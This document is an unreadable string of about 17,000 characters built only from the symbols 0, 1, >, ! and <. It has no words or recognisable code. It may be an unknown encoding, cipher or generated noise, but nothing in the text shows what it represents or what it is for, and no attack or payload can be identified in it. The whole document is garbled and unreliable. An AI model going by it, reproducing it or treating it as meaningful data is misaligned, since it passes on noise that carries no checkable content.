0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>01010111>01!1>0>1>0>1!1!1>0><1010111>01!1!1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0><>1!1!10110>1!1!1!1!1>0>1!1!<>1!1>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1!1>0><>1!1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0><>1!1!1!1>0>1>0>1!1!1!1!1>01010111>01!10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0><>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0><>1!1!1!1>0>1>0>1!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1!1>0>1>0>1!1!1!1!1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0><>1!1!1!1>0>1>0>1!1!1>0>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1>0>1!1>0>1!1!1>0>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1!1!1>0>1!1!1>0>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!1!1>01010111>01!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1>0><>1!<>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!10110>1!<>1!1!10110>10110>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!10110>1!<>1!1!1!1>0>1>0>10110>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!10110>1!<>1!1!1>0>1!10110>1!1!1>0><>1>01010111>01>0>10110>1!1!1!1!1>0>1!1!1>0>1!10110>1!<>1!1!1>0>1>0>1!10110>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!10110>1!<>1!1!1>0>1>0>1!1>0>10110><>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1!<>1!1>0>1!<>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!10110>1!<>1!1!1!1>0>1!1!1>0>1!1!1>01010111>01!<>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!<>1!1!1>0>10110>1!1!1!1>01010111>01!<>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!<>1!1!1>0>10110>1!1!1!1>01010111>01!<>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!<>1!1!1>0>10110>1!1!1!1>01010111>01!<>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!1!1>0>1!<>1!1!1>0>10110>1!1!1!1>01010111>01!<>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!<>1!1!1>0>10110>1!1!1!1>01010111>01!<>1!1!1!1!1>0>1!1!1!10110>1!1!1!1!1>0>1!<>1!1!1>0>10110>1!1!1!1>01010111>01!<>1!1!1!1!1>0>1!1!1!1>0>1>01010111>01!<>1!1!1>0>10110>1!1!1!1>01010111>01!1!1!1!1!1!<>1!1!1!1>0>1>0>10110>10110>1!<>1!1!1>0>10110>1!1>0>1>0>1!<>1!1>0>1>0>101101010111>0<>1>0>10110>1!<>1!1!1!10110>1!1!1>0>1!1!<>10110>1!<>1!1!1>0>1>0>1!1!1!1>0>10110>1!<>1!1!1!10110>1!1>0>1>0><>1!1!1!1>0>101101010111>01!1!1>0>10110>1!1!10110>1!<>1!1!1!10110>1!1>0>1>0>1!<>1!1>0>1!101101010111>01!1!1!1>0>1>0>1!1!1!10110>1!<>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!<>1!1!101101010111>01!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!<>1!1!1>0>1>0>1!1>0>1!1!1>0>1!<>1!1>0>1!1>0>1>0><>1!1!1>0>10110>1!1>0>1!1>0>1>0>1!<>1!1!1>0>1!1!1>0>1!1>0>1>0>1!<>10110>1!1>0>1>01010111>01!1!10110>1!1!1>0>1!1>0>1>0>1!<>1!1!1>0>1!1!1>0>1!1>0>1>0><>1!1!1>0>1>0>1!1>0>1>01010111>01!1!1!1>0>10110>1!1!1>0>1>0>1!<>1!1!1>0>1!1!1>0>1!1>0>1>0><>1>0>1!1!1!1>0>1!<>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!<1010111>01!1>0>1>0><>10110>1!1!1>0>1>01010111>0<>1!1!1>0>1>0>1!<>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1!1>0>1>01010111>0<>1!1!1>0>1>0>1!<>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!<>1>01010111>0<>1!1!1>0>1>0>1!<>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1>01010111>01!<>1>0>1!1>0>1!<>1!1!1!1!1>0>1!1!1>0>1>0>1!<>1!1!1>0>1>0>1!1>01010111>01!1!1>0><>1>0>1!<>1!1!1!1!1>0>1!1!1>0>1>0><>1!1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!10110>1!<>1!1!1!1!1>0>1!1!1>0>1>0><>1!1>0>1!1>0>1!1!1>01010111>01!1!1>0>10110>1!1>0>1>0>1!1>0>1!<>1!1!1>0>1>0>1!1!1!1>0>1>0>1!<>1!1>0>1>0>1!1!1>01010111>01!<>1>0>1!1>0>1!<>1!1!1!1>0>1!1!1!1>0>1>0><>1!1>0>1!1>0>1!1!1>01010111>01!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!<>1!1!1>01010111>0<>1!1!1!1>0>1>0>1!<1010111>01!1!1>0>1!1>0>1!<>1!<>1>0><>1!1>0>1!1>0>1!1!1>01010111>01!1!1!1>0>1!10110>1!1!1>0>1!<>1!<>1>0><>1>0>1!1>0>1!1!1!1>01010111>0<>1>0>1!1!1!1!<>1!1!1>0>10110>10110><>1>0>1!1!1!1!1!10110>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1!1>0>10110>10110>1!1!<>1>0>10110><>1!1!1!1!10110>1!1!1!1!1!<>1!1!1!10110>10110><>1!1>0>1!10110><>1!1!1!1>0>1!1>0>1!1!1!1!1!1!<>1!1!1!10110>10110>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!<>1!1!1>0>1!1>0>1>0>10110>1!<>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!10110>1!10110>1!1!<>1!1!1!1!1>0>1>0>10110><>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!<>1!1!1!1!1>0>10110>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1>0>1>0>1!1>0>10110><>1>0>10110>1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<1010111>010110><>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110><>1!1!1>0>1>0>1!1!<>1!1!1>0>1>0>1!1!10110><>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!10110>1!1>0>1!1!<>1!1!1>0>1>0>1!1!10110><>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!<><>1!1>0>1!1!<>10110>1!1!1>0>1>0>10110>1!1!1!1>0>1!10110>1!1!1>0>1!1!<>1!1!1!10110>1!1>0>1!1!<>1!1!10110>10110>10110>1!1!1!10110>1!1>0>1!1!1>0>1!1!<>1!1!1!10110>1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!<>1!1!1!10110>1!1!1>0><>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>10110>10110>1!1!1!<>1!1!1!10110>1!1>0>1>0><>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1!1!10110>1!1>0>1>0><>1>0>1!1!1!1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1!10110>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!<>10110>1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!1>0>1>0>1!1!<>1!1!1!1!1>0>1>0>1!1>0>1>0><>1>0>1!1!1>0>1>0>1!1!1>0>1>0>101101010111>01!1!1>0>1>0>1!1!1!<>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!<>1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!<>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!10110>1!1!1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1>0>1!1>0>1!1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1!1!<>1!1!1!<>1!1!1!1>0>1!1!1!1>0>1>0>1!<>10110>1!1!1!1>0>1>0>10110>1!1!1!1>0>1!1!10110>1!1!1!1!<>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1>0>1!10110>1!1!1!1!1!1!<>1!1!1!1!1010>01>0>1>0>10110><>1>0>1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!<>1!1!1!1!<>1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>10110>1!<>1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!<>1!1!1>01010111>0<>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!10110>1!1!1!1!1!<>1!1!1>01010111>01!1!1!1!1!<>1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>01010111>01!1!1!1!1!<>1!1!1>01010111>01!1!1!<>1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1!1!1!1010>01>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!<>1!1!1>01010111>0<>1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>10110>1!1!<>1!1!1>01010111>01!1!<>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!10110>1!1!<>1!1!1>01010111>0<>1!1>0>1!1!1!1>0>1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!<>1!1!1>01010111>01!1!1!1!1!1!<>1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!<>1!1!1>01010111>01!1!<>10110>1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1!<>1!1!1>01010111>01!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1>0>10110>1!1>0>1!1!<>1!1!1>01010111>0<>1!1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>01010111>01>0>1!1>0>1!1!<>1!1!1>01010111>01!1!<>1>0>1!1>0>1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!<>1!1!1>01010111>01!<>1>0>1!1!1>0>1!1!1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1!1>0>1!1!1!1>0>10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1>0>10110>1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>0>1!1!1!1!1!1!1!<>1!10110>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1010>010110>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!<>1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01010>01>0>1!1!1>01010111>01!<>1>0><>10110>1!1!1!1